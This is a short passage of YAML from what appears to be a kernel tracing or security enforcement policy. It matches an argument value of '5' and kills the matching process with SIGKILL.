        operator: Equal
        values:
        - "5"
      matchActions:
      - action: Sigkill
        argSock: 0